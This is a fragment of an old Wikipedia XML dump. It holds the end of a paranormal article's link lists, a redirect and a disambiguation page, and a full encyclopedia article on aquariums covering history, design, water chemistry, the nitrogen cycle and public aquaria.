* [[:Category:Legendary creatures|Legendary creatures (category)]]
* [[Levitation]]
* [[List of magazines of anomalous phenomena]]
* [[Loch Ness Monster]]
* [[The Mad Gasser of Mattoon]]
* [[Marfa lights]]
* [[Medical oddity|Medical oddities]]
* [[Men in Black]]
* [[Min Min light]]
* [[Mind Control]]
* [[Mystery Spot]]
* [[:Category:Occult|Occultism (category)]]
* [[OOPArt]]
* [[Orb (paranormal)|Orbs]]
* [[Oregon vortex]]
* [[Out-of-body experience]]
* [[Paradoxography]]
* [[Parapsychology]]
* [[Patapsychology]]
* [[Perinormal phenomenon]]
* [[Psionics]]
* [[Psychic detective]]
* [[Skunk Ape]]
* [[Society for Psychical Research]]
* [[Spirit Searchers]]
* [[Spiritual Possession]]
* [[Spiritualism]]
* [[Spontaneous Human Combustion]]
* [[Spooklight]]
* [[Stigmata]]
* [[Spring Heeled Jack]]
* [[Synchronicity]]
* [[Teleportation]]
* [[Thunderstone (folklore)]]
* [[Time Travel]]
* [[Unidentified flying object]]
* [[Vile Vortices]]

==External links==
{{Wikiquotepar|Paranormal}}
*[http://www.spiritsearchers.co.uk Spirit Searchers - the UK's leading paranormal investigators]
*[http://www.ghostfinders.co.uk www.GhostFinders.co.uk]
*[http://www.sdparanormal.com San Diego Paranormal Research Project]
*[http://www.omi-uk.org Open Mind Investigations]
*[http://www.science-frontiers.com/ Science Frontiers Digest of Scientific Anomalies]
*[http://www.csicop.org The Committee for the Scientific Investigation of Claims of the Paranormal]
*[http://skepdic.com/randi.html The Randi paranormal challenge]
*[http://www.research.umbc.edu/~frizzell/info INFO International Fortean Organization]
*[http://www.weirdny.org/ Exploring Weird New York]
*[http://www.ufomag.com UFO Magazine]
*[http://www.nexusmagazine.com Nexus Magazine]
*[http://www.csicop.org/si Skeptical Inquirer]
*[http://www.paranormalaustralia.com/ Paranormal Australia]
*[http://www.ghostchatter.com 24 Hour Paranormal Chat Room]
*[http://groups.msn.com/ghostshauntingsspiritsandtheparanormal Ghosts, Hauntings, Spirits and the Paranormal Online Community]
*[http://anomalies.bravepages.com/ Magonia Exchange Research Project]
*[http://www.geocities.com/riap777/ Research Institute on Anomalous Phenomena, Kharkiv, Ukraine]
*[http://www.anomalist.com/ The Anomalist]
*[http://www.forteantimes.com/ Fortean Times]
*[http://www.fatemag.com/ Fate Magazine]

[[Category:Paranormal phenomena]]
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  <page>
    <title>Avengers</title>
    <id>3182</id>
    <revision>
      <id>15901543</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[The Avengers]]
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  <page>
    <title>Albury</title>
    <id>3183</id>
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      <id>33379816</id>
      <timestamp>2005-12-31T14:55:10Z</timestamp>
      <contributor>
        <username>Freakofnurture</username>
        <id>77511</id>
      </contributor>
      <minor />
      <comment>restore geodis</comment>
      <text xml:space="preserve">'''Albury''' is the name of several places:

*[[Albury, New South Wales]], Australia
*[[Albury, Hertfordshire]], England
*[[Albury, Oxfordshire]], England
*[[Albury, Surrey]], England
*[[Albury, Ontario]], Canada
{{geodis}}</text>
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  </page>
  <page>
    <title>Aquarium</title>
    <id>3185</id>
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      <id>41657765</id>
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      <contributor>
        <username>Where</username>
        <id>722151</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.232.157.78|209.232.157.78]] to last version by 161.185.1.100</comment>
      <text xml:space="preserve">{{featured article}}
{{alternateuses}}

[[Image:Georgia_Aquarium_Tropical_Tank.jpg|thumb|right|300px|A tropical display tank at the [[Georgia Aquarium]]]]
An '''aquarium''' (plural ''aquariums'' or ''aquaria'') is a [[vivarium]], usually contained in a clear-sided container (typically constructed of [[glass]] or high-strength [[plastic]]) in which [[water]]-dwelling [[plant]]s and [[animal]]s (usually [[fish]], and sometimes [[invertebrate]]s, as well as [[amphibian]]s, [[marine mammal]]s, and [[reptile]]s) are kept in captivity, often for public display; or it is an establishment featuring such displays. Aquarium keeping is a popular [[hobby]] around the world, with about 60 million enthusiasts worldwide. From the 1850s, when the predecessor of the modern aquarium was first developed as a novel [[curiosity]], the ranks of aquarists have swelled as more sophisticated systems including lighting and filtration systems were developed to keep aquarium fish healthy. Public aquaria reproduce the home aquarist's hobby on a grand scale — the [[Osaka Aquarium Kaiyukan|Osaka Aquarium]], for example, boasts a tank of 5,400 m&amp;sup3; (1.4 million U.S. gallons) and a collection of about 580 species of aquatic life.

A wide variety of aquaria are now kept by hobbyists, ranging from a simple bowl housing a single fish to complex simulated ecosystems with carefully engineered support systems. Aquaria are usually classified as containing fresh or salt water, at tropical or cold water [[temperature]]s. These characteristics, and others, determine the type of fish and other inhabitants that can survive and thrive in the aquarium. Inhabitants for aquaria are often collected from the wild, although there is a growing list of [[organism]]s that are bred in captivity for supply to the aquarium trade.

The careful aquarist dedicates considerable effort to maintaining a tank [[ecology]] that mimics its inhabitants' natural habitat. Controlling [[water quality]] includes managing the inflow and outflow of nutrients, most notably the management of [[waste]] produced by tank inhabitants. The [[nitrogen cycle]] describes the flow of nitrogen from input via food, through toxic nitrogenous waste produced by tank inhabitants, to metabolism to less toxic compounds by beneficial [[bacterium|bacteria]] populations. Other components in maintaining a suitable aquarium environment include appropriate species selection, management of biological loading, and good physical design. 

[[image:bristol.zoo.aquarium.arp.jpg|thumb|right|250px|South East Asian fish in the aquarium at Bristol Zoo, Bristol, England. The tank is about 2 metres (6 feet) high.]] 

==History and development==
===Etymology===
The word aquarium itself is taken directly from the latin ''aqua'', meaning water, with the suffix ''-rium'', meaning &quot;place&quot; or &quot;building&quot;.
===Ancient practices===
[[Image:Goldfish2.cropped.jpg|200px|thumb|right|Koi have been kept in decorative ponds for centuries in [[People's Republic of China|China]] and [[Japan]].]]
The keeping of fish in confined or artificial environments is a practice with deep roots in history. Ancient [[Sumer]]ians were known to keep wild-caught fish in [[pond]]s, before preparing them for meals. In [[China]], [[selective breeding]] of [[carp]] into today's popular [[koi]] and [[goldfish]] is believed to have begun over 2,000 years ago. Depictions of the sacred fish of [[Oxyrhynchus]] kept in captivity in rectangular temple pools have been found in [[ancient Egypt]]ian art. Many other cultures also have a history of keeping fish for both functional and decorative purposes. The Chinese brought goldfish indoors during the [[Song dynasty]] to enjoy them in large ceramic vessels.

===Glass enclosures===
The concept of an aquarium, designed for the observation of fish in an enclosed, transparent tank to be kept indoors, emerged more recently. However, it is difficult to pinpoint the exact date of this development. In 1665 the diarist [[Samuel Pepys]] recorded seeing in [[London]] &quot;a fine rarity, of fishes kept in a glass of water, that will live so forever, and finely marked they are, being foreign.&quot; The fish observed by Pepys were likely to have been the [[paradise fish]], ''Macropodus opercularis'', a familiar garden fish in [[Canton, China]], where the [[British East India Company|East India Company]] was then trading. In the 18th century, the [[biology|biologist]] [[Abraham Trembley]] kept [[hydra (genus)|hydra]] found in the garden canals of the Bentinck residence 'Sorgvliet' in the [[Netherlands]], in large cylindrical glass vessels for study. The concept of keeping aquatic life in glass containers, then, dates to at latest this period.

===Popularization===
The keeping of fish in an aquarium first became a popular [[hobby]] in Britain only after ornate aquaria in cast-iron frames were featured at the [[Great Exhibition]] of 1851. The framed-glass aquarium was a specialized version of the glazed [[Wardian case]] developed for British horticulturists in the 1830s to protect exotic plants on long sea voyages. (One feature of some [[19th-century]] aquaria that would prove curious to hobbyists today was the use of a metal base panel so that the aquarium water could be heated by flame.) [[Germany|German]]s rivaled the [[United Kingdom|British]] in their interest, and by the turn of the century [[Hamburg]] became the [[Europe]]an port of entry for many newly seen species. Aquaria became more widely popular as houses became almost universally electrified after [[World War I]]. With [[electricity]] great improvements were made in aquarium technology, allowing artificial lighting as well as the aeration, filtration, and heating of the water. Popularization was also assisted by the availability of air freight, which allowed a much wider variety of fish to be successfully imported from distant regions of origin that consequently attracted new hobbyists.

There are currently estimated to be about 60 million aquarium hobbyists worldwide, and many more aquaria kept by them. The hobby has the strongest following in Europe, [[Asia]], and [[North America]]. In the [[United States]], a large minority (40%) of aquarists maintain two or more tanks at any one time.

==Function and design==
From the outdoor ponds and glass jars of antiquity, modern aquaria have evolved into a wide range of specialized systems. Aquaria can vary in size from a small bowl large enough for a single small fish, to the huge public aquaria that can simulate entire marine [[ecosystem]]s. The most successful aquaria, as judged by the long-term survivability of its inhabitants, carefully emulate the natural environments that their residents would occupy in the wild.

Freshwater aquaria remain the most popular due to their lower cost and easier maintenance, but [[saltwater aquarium|marine (saltwater) aquaria]] have gained cachet as dedicated enthusiasts prove it is possible to preserve these challenging environments.

===Design===
[[Image:Aquarium.png|thumb|256px|Filtration system in a typical aquarium: (1) Intake. (2) Mechanical filtration. (3) Chemical filtration. (4) Biological filtration medium. (5) Outflow to tank.]]

The common freshwater aquarium maintained by a home aquarist typically includes a filtration system, an artificial lighting system, air pumps, and a heater. In addition, some freshwater tanks (and most saltwater tanks) use powerheads to increase water circulation.

Combined biological and mechanical filtration systems are now common; these are designed to remove potentially dangerous build up of nitrogenous wastes and [[phosphate]]s dissolved in the water, as well as particulate matter. Filtration systems are the most complexly engineered component of most home aquaria, and various designs are used. Most systems use pumps to remove a small portion of the tank's water to an external pathway where filtration occurs; the filtered water is then returned to the aquarium. [[Protein skimmer]]s, filtration devices that remove [[protein]]s and other waste from the water, are usually found only in salt water aquaria.

Air pumps are employed to adequately oxygenate (or in the case of a heavily planted aquarium, provide carbon dioxide to) the water. These devices, once universal, are now somewhat less commonly used as some newer filtration systems create enough surface agitation to supply adequate gas exchange at the surface. Aquarium heaters are designed to act as [[thermostat]]s to regulate water temperature at a level designated by the aquarist when the prevailing temperature of air surrounding the aquarium is below the desired water temperature. Coolers are also available for use in cold water aquaria or in parts of the world where the ambient room temperature is above the desired tank temperature.

An aquarium's physical characteristics form another aspect of aquarium design. Size, lighting conditions, density of floating and rooted plants, placement of bogwood, creation of caves or overhangs, type of [[substrate]], and other factors (including an aquarium's positioning within a room) can all affect the behavior and survivability of tank inhabitants.

The combined function of these elements is to maintain appropriate water quality and characteristics suitable for the aquarium's residents.

===Classifications===
Aquaria can be classified by several variables that determine the type of aquatic life that can be suitably housed. The conditions and characteristics of the water contained in an aquarium are the most important classification criteria, as most aquatic life will not survive even limited exposure to unsuitable water conditions. The size of an aquarium also limits the aquarist in what types of ecosystems he can reproduce, species selection, and biological loading.

====Water conditions====
[[Image:Aquarium-Monaco1.jpeg|thumb|A saltwater aquarium]]
The dissolved content of water is perhaps the most important aspect of water conditions, as dissolved [[salts]] and other constituents can dramatically impact basic water chemistry, and therefore how organisms are able to interact with their environment. Salt content, or [[salinity]], is the most basic classification of water conditions. An aquarium may have [[fresh water]] (a salt level of &lt; 0.5%), simulating a lake or river environment; [[sea water|salt water]] (a salt level of 5%–18%), simulating an ocean or sea environment; or [[brackish water]] (a salt level of 0.5%–5%), simulating environments lying between fresh and salt, such as [[estuary|estuaries]].

Several other water characteristics result from dissolved contents of the water, and are important to the proper simulation of natural environments. The [[pH]] of the water is a measure of [[alkaline|alkalinity]] or [[acidity]]. Hardness measures overall dissolved mineral content; [[soft water|soft]] or [[hard water|hard]] water may be preferred. [[Chemical oxygen demand|Dissolved organic content]] and dissolved gases content are also important factors.

Home aquarists typically use modified tap water supplied through their local [[municipal water system]] to fill their tanks. For freshwater aquaria, additives formulated to remove [[chlorine]] or [[chloramine]] (used to [[disinfectant|disinfect]] drinking water supplies for human consumption) are often all that is needed to make the water ready for aquarium use. Brackish or saltwater aquaria require the addition of a mixture of salts and other minerals, which are commercially available for this purpose. More sophisticated aquarists may make other modifications to their base water source to modify the water's alkalinity, hardness, or dissolved content of organics and gases, before adding it to their aquaria. In contrast, public aquaria with large water needs often locate themselves near a natural water source (such as a river, lake, or ocean) in order to have easy access to large volumes of water that does not require much further treatment.

====Secondary water characteristics====
Secondary water characteristics are also important to the success of an aquarium. The [[temperature]] of the water forms the basis of one of the two most basic aquarium classifications: tropical vs. cold water. Most fish and plant species tolerate only a limited range of water temperatures: Tropical or warm water aquaria, with an average temperature of about 25 &amp;deg;C (78 &amp;deg;F), are much more common and house most popular aquarium fish. Cold water aquaria are those with temperatures below what would be considered tropical; a variety of fish are better suited to this cooler environment.

Water movement can also be important in accurately simulating a natural ecosystem. Aquarists may prefer anything from still water up to swift simulated [[current (water)|currents]] in an aquarium, depending on the conditions best suited for the aquarium's inhabitants.

Water temperature can be regulated with a combined [[thermometer]]/heater unit (or, more rarely, with a cooling unit), while water movement can be controlled through the use of powerheads and careful design of internal water flow (such as location of filtration system points of inflow and outflow).

====Size====
[[Image:Aquariumsimple.jpg|thumb|400px|Simple hobbyist Aquarium, 80 x 30 x 40 cm, 96 liter]]

An aquarium can range from a small, unadorned glass bowl containing less than a liter of water – although generally unsuited for most fish (except, perhaps, air breathing fish such as [[Betta splendens]] or the [[Paradise Fish]]) – to massive tanks built in public aquaria which are limited only by engineering constraints and can house entire ecosystems as large as [[kelp forest]]s or species of large [[shark]]s. In general, larger aquarium systems are typically recommended to hobbyists due to their resistance to rapid fluctuations of temperature and [[pH]], allowing for greater system stability.

Aquaria kept in homes by hobbyists can be as small as 3 U.S. gallons (11 L). This size is widely considered the smallest practical system with filtration and other basic systems; indeed, the local government of [[Rome]] has recently taken the step of banning traditional goldfish bowls as inhumane. Practical limitations, most notably the [[weight]] (water weighs about 8.3 pounds per U.S. gallon (1 kg/L)) and internal [[water pressure]] (requiring thick, strong glass siding) of a large aquarium, keep most home aquaria to a maximum of around 1 m&amp;sup3; (300 U.S. gallons). However, some dedicated aquarists have been known to construct custom aquaria of up to several thousand U.S. gallons (several cubic meters), at great effort and expense.
	
Public aquaria designed for exhibition of large species or environments can be dramatically larger than any home aquarium. The [[Shedd Aquarium]] features an individual aquarium of two million U.S. gallons (7,500 m&amp;sup3;), as well as two others of 400,000 U.S. gallons (1,500 m&amp;sup3;). The [[Monterey Bay Aquarium]] has an [[Polymethyl methacrylate|acrylic]] viewing window into their largest tank. At 56 feet long by 17 feet high (17 by 5 m), it used to be the largest window in the world and is over 13 inches (330 mm) thick.  The Okinawa Churaumi Aquarium is the world's second largest aquarium and part of the Ocean Expo Park located in Motobu, Okinawa. Its main tank, which holds 7,500 cubic meters of water, features the world's largest acrylic panel measuring 8.2 meters by 22.5 meters with a thickness of 60 centimeters.  The size of public aquaria are usually limited by cost considerations.

===Species selection===
Several theories on species selection circulate within the community of hobby aquarists. Perhaps the most popular of these is the division of aquaria into either a ''community'' or ''aggressive'' tank type. Community tanks house several species that are not aggressive toward each other. This is the most common type of hobby aquarium kept today. Aggressive tanks, in contrast, house a limited number of species that can be aggressive toward other fish, or are able to withstand aggression well. In both of these tank types, the aquarium cohabitants may or may not originate from the same geographic region, but generally tolerate similar water conditions. In addition to the fish, [[invertebrate]]s, plants, and decorations or &quot;[[aquarium furniture]]&quot; (all of which may or may not be natural neighbors of any of the fish) are typically added to these tank types.

''Species'' or ''specimen'' tanks usually only house one fish species, along with plants, perhaps found in the fishes' natural environment and decorations simulating a true ecosystem. These tanks are often used for [[killifish]], livebearers, [[cichlids]] etc. They can be simple as bare bottom with a few necessities or a complex planted aquarium. Some tanks of this sort are used simply to house adults for breeding. Such tanks are common in fishrooms, where people keep many tanks at home. 

''Ecotype'' or ''ecotope'' aquaria attempt to simulate a specific ecosystem found in the natural world, bringing together fish, invertebrate species, and plants found in that ecosystem in a tank with water conditions and decorations designed to simulate their natural environment. These ecotype aquaria might be considered the most sophisticated hobby aquaria; indeed, reputable public aquaria all use this approach in their exhibits whenever possible. This approach best simulates the experience of observing an aquarium's inhabitants in the wild, and also usually serves as the healthiest possible artificial environment for the tank's occupants.

====Species selection for saltwater aquaria====
In addition to the types above, a special category of saltwater aquaria is the [[reef tank|reef aquarium]]. These aquaria attempt to simulate the complex reef ecosystems found in warm, tropical oceans around the world. These aquaria focus on the rich diversity of invertebrate life in these environments, and typically include only a limited number of small fish.  Techniques of maintaining [[sea anemones]], some [[corals]], [[live rock]], [[mollusk]]s, and [[crustacea]], developed since the 1980s, have made the recreations of a reef ecosystem possible.
Reef aquaria are widely considered the most difficult and demanding of the common hobbyist aquarium types, requiring the most expertise in addition to the most specialized equipment (and corresponding high cost).

===Source of aquarium inhabitants===
[[Image:AquariumDiverMed.jpg|thumb|300px|right|A [[Surface supplied diving|surface supplied diver]] interacts with viewers while feeding the fish]]

Fish and plants for the first modern aquaria were gathered from the wild and transported (usually by ship) to European and American ports. During the early [[twentieth century]] many species of small colorful [[tropical fish]] were caught and exported from [[Manaus]] [[Brazil]], [[Bangkok]] [[Thailand]], [[Siam]], [[Jakarta]] [[Indonesia]], the [[Dutch West Indies]], [[Calcutta]] [[India]], and other tropical ports. Collection of fish, plants, and invertebrates from the wild for supply to the aquarium trade continues today at locations around the world. In many places of the world, impoverished local villagers collect specimens for the aquarium trade as their prime means of income. It remains an important source for many species that have not been successfully bred in captivity, and continues to introduce new species to enthusiastic aquarists.

The practice of collection in the wild for eventual display in aquaria has several disadvantages. Collecting expeditions can be lengthy and costly, and are not always successful. The shipping process is very hazardous for the fish involved; [[mortality rate]]s are high. Many others are weakened by [[stress (medicine)|stress]] and become diseased upon arrival. Fish can also be injured during the collection process itself, most notably during the process of using [[cyanide]] to stun reef fish to make them easier to collect.

More recently, the potentially detrimental environmental impact of fish and plant collecting has come to the attention of aquarists worldwide. These include the poisoning of [[coral reef]]s and non-target species, the depletion of rare species from their natural habitat, and the degradation of ecosystems from large scale removal of key species. Additionally, the [[destructive fishing techniques]] used have become a growing concern to environmentalists and hobbyists alike.  Therefore, there has been a concerted movement by many concerned aquarists to reduce the trade's dependence on wild-collected specimens through captive breeding programs and certification programs for wild-caught fish. Among [[United States|American]] keepers of marine aquaria surveyed in 1997, two thirds said that they prefer to purchase farm raised coral instead of wild-collected coral, and over 80% think that only sustainably caught or captive bred fish should be allowed for trade.

Since the 'fighting fish' ''[[Betta splendens]]'' was first successfully bred in France in 1893, captive spawning techniques have been slowly discovered. Captive breeding for the aquarium trade is now concentrated in South [[Florida]], [[Singapore]], [[Hong Kong]], and Bangkok, with smaller industries in [[Hawaii]] and [[Sri Lanka]]. Captive breeding programs of [[marine organisms]] for the aquarium trade have been urgently in development since the mid-1990s. Breeding programs for freshwater species are comparatively more advanced than for saltwater species.

[[Aquaculture]] is the cultivation of aquatic organisms in a controlled environment.  Supporters of aquaculture programs for supply to the aquarium trade claim that well-planned programs can bring benefits to the environment as well as the [[society]] around it. Aquaculture can help in lessening the impacts on wild stocks, either by using raised cultivated organisms directly for sale or by releasing them to replenish wild stock (Tlusty 203), although such a practice is associated with several environmental risks.

==Ecology==
Ideal aquarium [[ecology]] reproduces the [[equilibrium]] found in nature in the closed system of an aquarium. In practice it is virtually impossible to maintain a perfect balance. As an example, a balanced [[predation|predator-prey relationship]] is nearly impossible to maintain in even the largest of aquaria. Typically an aquarium keeper must take steps to maintain equilibrium in the small ecosystem contained in his aquarium.

Approximate equilibrium is facilitated by large volumes of water. Any event that perturbs the system pushes an aquarium away from equilibrium; the more water that is contained in a tank, the easier such a [[systemic shock]] is to absorb, as the effects of that event are diluted. For example, the death of the only fish in a three U.S. gallon tank (11 L) causes dramatic changes in the system, while the death of that same fish in a 100 U.S. gallon (400 L) tank with many other fish in it represents only a minor change in the balance of the tank. For this reason, hobbyists often favor larger tanks when possible, as they are more stable systems requiring less intensive attention to the maintenance of equilibrium.

===Nitrogen cycle===
[[Image:Aquarium Nitrogen Cycle.png|thumb|300px|The nitrogen cycle in an aquarium.]]

Of primary concern to the aquarist is management of the biological [[waste]] produced by an aquarium's inhabitants. Fish, invertebrates, [[fungus|fungi]], and some bacteria excrete [[nitrogen]] waste in the form of [[ammonia]] (which may convert to [[ammonium]], depending on water chemistry) which must then pass through the [[nitrogen cycle]]. Ammonia is also produced through the [[decomposition]] of plant and animal matter, including [[feces|fecal]] matter and other [[detritus]]. Nitrogen waste products become [[toxic]] to fish and other aquarium inhabitants at high concentrations.

A well-balanced tank contains organisms that are able to [[metabolism|metabolize]] the waste products of other aquarium residents. The nitrogen waste produced in a tank is metabolized in aquaria by a type of [[bacterium|bacteria]] known as [[nitrification|nitrifier]]s (genus Nitrosomonas). Nitrifying bacteria capture ammonia from the water and metabolize it to produce [[nitrite]]. Nitrite is also highly toxic to fish in high concentrations. Another type of bacteria, genus Nitrospira, converts nitrite into [[nitrate]], a less toxic substance to aquarium inhabitants. ([[Nitrobacter]] bacteria were previously believed to fill this role, and continue to be found in commercially available products sold as kits to &quot;jump start&quot; the nitrogen cycle in an aquarium. While biologically they could theoretically fill the same niche as Nitrospira, it has recently been found that Nitrobacter are not present in detectable levels in established aquaria, while Nitrospira are plentiful.) This process is known in the aquarium hobby as the nitrogen cycle.

In addition to bacteria, aquatic plants also eliminate nitrogen waste by metabolizing ammonia and nitrate. When plants metabolize nitrogen compounds, they remove nitrogen from the water by using it to build [[biomass]]. However, this is only temporary, as the plants release nitrogen back into the water when older leaves die off and decompose.

Although informally called the nitrogen cycle by hobbyists, it is in fact only a portion of a true cycle: nitrogen must be added to the system (usually through food provided to the tank inhabitants), and nitrates accumulate in the water at the end of the process (or contribute to a growth in biomass via plant metabolism). This accumulation of nitrates in home aquaria requires the aquarium keeper to remove water that is high in nitrates or remove plants which have grown from the nitrates. A balanced system, in which the fish eat the plants, is generally difficult to create.

Aquaria kept by hobbyists often do not have the requisite populations of bacteria needed to detoxify nitrogen waste from tank inhabitants. This problem is most often addressed through two [[filtration]] solutions: [[Activated carbon]] filters absorb nitrogen compounds and other [[toxins]] from the water, while biological filters provide a medium specially designed for [[colony (biology)|colonization]] by the desired nitrifying bacteria.

====Cycling====
New aquaria also do not usually have the required populations of bacteria for the handling of nitrogen waste. In a process called ''cycling'', aquarists cultivate these bacteria as fish and other producers of nitrogen waste are gradually added to the tank over the course of several weeks. Aquarists use several different methods to jump start this process, including the use of water additives containing small populations of the bacteria, or &quot;seeding&quot; a new tank with a mature bacterial colony removed from another aquarium (such as can be found on gravel or biological filter media).

Other cycling methods that have gained popularity in recent years are the ''fishless cycle'' and the ''silent cycle''. As the name of the former implies, no fish are kept in a tank undergoing a fishless cycle. Instead, small amounts of ammonia are added to the tank to feed the bacteria being cultured. During this process, ammonia, nitrite, and nitrate levels are tested to monitor progress. The silent cycle is basically nothing more than densely stocking the aquarium with fast-growing aquatic plants and relying on them to consume the nitrogen products rather than bacteria. According to anecdotal reports of aquarists specializing in planted tanks, the plants can consume nitrogenous waste so efficiently that the spikes in ammonia and nitrite levels normally seen in more traditional cycling methods are greatly reduced, if they are detectable at all.

Improperly cycled aquaria can quickly accumulate toxic concentrations of nitrogen waste and kill its inhabitants.

===Other nutrient cycles===
Nitrogen is not the only nutrient that cycles through an aquarium. Dissolved oxygen enters the system at the surface water-air interface or through the actions of an air pump. Carbon dioxide escapes the system into the air. The phosphate cycle is an important, although often overlooked, nutrient cycle. Sulfur, iron, and micronutrients also cycle through the system, entering as food and exiting as waste. Appropriate handling of the nitrogen cycle, along with supplying an adequately balanced food supply and considered biological loading, is usually enough to keep these other nutrient cycles in approximate equilibrium.

===Biological loading===
Biological loading is a measure of the burden placed on the aquarium ecosystem by its living inhabitants. High biological loading in an aquarium represents a more complicated tank ecology, which in turn means that equilibrium is easier to perturb. In addition, there are several fundamental constraints on biological loading based on the size of an aquarium. The [[surface area]] of water exposed to air limits [[Oxygen saturation|dissolved oxygen]] intake by the tank. The capacity of nitrifying bacteria is limited by the physical space they have available to colonize. Physically, only a limited size and number of plants and animals can be fit into an aquarium while still providing room for movement.

In order to prevent biological overloading of the system, aquarists have developed a number of [[rule of thumb|rules of thumb]]. Perhaps the most popular of these is the &quot;one inch of fish per U.S. gallon&quot; rule, which dictates that the sum in inches of the lengths of all fish kept in an aquarium (excluding tail length) should not exceed the capacity of the tank measured in U.S. gallons (about 7 mm per liter of water).  This rule is usually applied to the expected mature size of the fish, in order to not stunt growth by overcrowding, which can be unhealthy for the fish.  For [[goldfish]] and other high-waste fish, some aquarists recommend doubling the space allowance to one inch of fish per every two gallons.

The true maximum or ideal biological loading of a system is very difficult to calculate, even on a theoretical level. To do so, the variables for waste production rate, nitrification [[efficiency]], gas exchange rate at the water surface, and many others would need to be determined. In practice this is a very complicated and difficult task, and so most aquarists use rules of thumb combined with a [[trial and error]] approach to reach an appropriate level of biological loading.

==Public aquaria==
[[Image:KelpAquariumMed.jpg|thumb|300px|right|A 335,000 U.S. gallon (1.3 million liter) aquarium at the [[Monterey Bay Aquarium]] in California displaying a simulated [[kelp forest]] ecosystem]]
Public aquaria are facilities open to the public for viewing of aquatic species in aquaria. Most public aquaria feature a number of smaller tanks, as well as one or more large tank greater in size than could be kept by any home aquarist. The largest tanks hold millions of U.S. gallons of water and can house large species, including [[dolphin]]s, [[shark]]s or [[beluga]] whales. Aquatic and semiaquatic animals, including [[otter]]s and [[penguin]]s, may also be kept by public aquaria.

Operationally, a public aquarium is similar in many ways to a [[zoo]] or [[museum]]. A good aquarium will have special exhibits to entice repeat visitors, in addition to its permanent collection. A few have their own version of a &quot;petting zoo&quot;; for instance, the [[Monterey Bay Aquarium]] has a shallow tank filled with common types of [[batoidea|rays]], and one can reach in to feel their leathery skins as they pass by.

Also as with zoos, aquaria usually have specialized research staff who study the habits and biology of their specimens. In recent years, the large aquaria have been attempting to acquire and raise various species of open-ocean fish, and even jellyfish (or sea-jellies, [[cnidaria]]), a difficult task since these creatures have never before encountered solid surfaces like the walls of a tank, and do not have the [[instinct]]s to turn aside from the walls instead of running into them.

The first public aquarium opened in [[London]]'s [[Regent's Park]] in 1853. [[P.T. Barnum]] quickly followed with the first American aquarium, opened on [[Broadway (New York City)|Broadway]] in [[New York]]. Following early examples of Detroit, New York and [[San Francisco, California|San Francisco]], many major cities now have public aquaria. Most public aquaria are located close to the [[ocean]], for a steady supply of natural seawater. An inland pioneer was [[Chicago, Illinois|Chicago]]'s [[Shedd Aquarium]] that received seawater shipped by rail in special tank cars.  In contrast, the recently opened [[Georgia Aquarium]] filled its tanks with fresh water from the city water system and salinated its salt water exhibits using the same commercial salt and mineral additives available to home aquarists. 

In January 1985 Kelly Tarlton began construction of the first aquarium to include a large transparent [[Polymethyl methacrylate|acrylic]] tunnel in [[Auckland, New Zealand]], a task that took 10 months and cost NZ$3 million. The 110-meter tunnel was built from one-tonne slabs of German sheet plastic that were shaped locally in an oven. A moving walkway now transports visitors through, and groups of school children occasionally hold sleepovers there beneath the swimming sharks and rays.

Top public aquaria are often affiliated with important oceanographic research institutions or conduct their own research programs, and usually (though not always) specialize in species and ecosystems that can be found in local waters.

For a partial list of public aquaria worldwide, see [[list of aquaria]].

==See also==
* [[Freshwater aquarium]]
**[[List of freshwater aquarium fish species]]
**[[List of freshwater aquarium plant species]]
**[[List of freshwater aquarium invertebrate species]]
**[[Community tank]]
* [[Saltwater aquarium]]
**[[Marine aquarium fish species]]
**[[List of marine aquarium invertebrate species]]
**[[Reef tank]]
**[[Nano reef]]
*[[List of aquarium diseases]]
* [[List of aquaria]]
* [[Fishkeeping]]
* [[Macquarium]]
* [[Marine park]]
* [[Terrarium]]

==References==
===Internet references===
*http://www.ems.org/marine_aquarium_trade/aquarists_profile.html Retrieved January 10, 2005.
*[[Kenyon College]] Biology Department. http://biology.kenyon.edu/Microbial_Biorealm/bacteria/nitrospira/Nitrospira.htm . Retrieved January 6, 2005.
*http://www.mbayaq.org/
*http://www.thekrib.com
*http://www.thepetprofessor.com/secPetInfo/Fish/History_of_keeping_tropical_fish.asp Retreived January 10, 2005.
*October 25, 2005. [http://news.yahoo.com/s/nm/20051025/od_uk_nm/oukoe_uk_life_italy_pets &quot;Rome bans goldfish bowls seen as cruel&quot;]. [[Reuters]]: Yahoo News.

===Book and journal references===
*Brunner, Bernd (2005). ''The Ocean at Home: An Illustrated History of the Aquarium''. New York: Princeton Architectural Press. ISBN 1568985029.
*Scott, Peter W (1995). ''The Complete Aquarium''. DK Publishing. ISBN 0789400138.
*Skomal, Gregory (1997). ''Setting up a Freshwater Aquarium: An Owner's Guide to a Happy Healthy Pet''. New York: Wiley Publishing. ISBN 0876055021.
*Tlusty, Michael (2002). ''The benefits and risks of aquaculture production for the aquarium trade''. ''Aquaculture''. v205 i3 pg 203(17).

==External links==
*[http://www.aquatic-hobbyist.com/index.html Aquatic-Hobbyist.com] - International site with information for all levels of experience, and a friendly discussion board.
*[http://www.aqua-fish.net Aquarium database] - Aquarium guide with access to database, forums, insertion and a contest.
*[http://www.tropicalfishforums.co.uk Tropical Fish Forums] - A UK based community that covers all the basic aspects of the aquarium hobby.
*[http://www.aquahobby.com Age of Aquariums - Tropical Fish] - A large aquarium hobbyist community that has been promoting responsible fishkeeping internationally since 1997.
*[http://www.aquariam.co.za Beginner's guide for aquaria] - A Beginner's guide to starting up a tropical or marine aquarium
*[http://www.reefs.org Reefs.org] - An online interactive community dedicated to the education of marine aquarists worldwide, established in 1997.
*[http://www.tinkerfish.com/ Tinkerfish Aquarium fish] - Tropical aquarium information.
*[http://www.aquaticcommunity.com/ Tropical fish &amp; aquarium]
*[http://www.thekrib.com/ The Krib.com] - The longest-running aquarium site on the Internet, with some beginner's information but emphasizing advanced practice and opinion, especially of freshwater fish and planted aquaria.
*[http://www.skepticalaquarist.com The Skeptical Aquarist] - An excellent source of information for aquarium hobbyists.
*[http://www.ratemyfishtank.com/ Rate My Fish Tank] - Fun site that lets users rate fish tanks of aquarists around the world - helping bring hobbyists together and provide visual ideas for their own aquaria. 
*[http://www.wetwebmedia.com WetWebMedia.com] - Maintained by Bob Fenner and other veteran aquarists, this site provides answers to many FAQs about all types of aquaria and livestock.
*[http://www.aworldoffish.com A World of Fish]
*[http://www.aquatichouse.com AquaticHouse Aquarium]
*[http://www.gorge.org/fish/ Flash Wilson's fishkeeping guides]
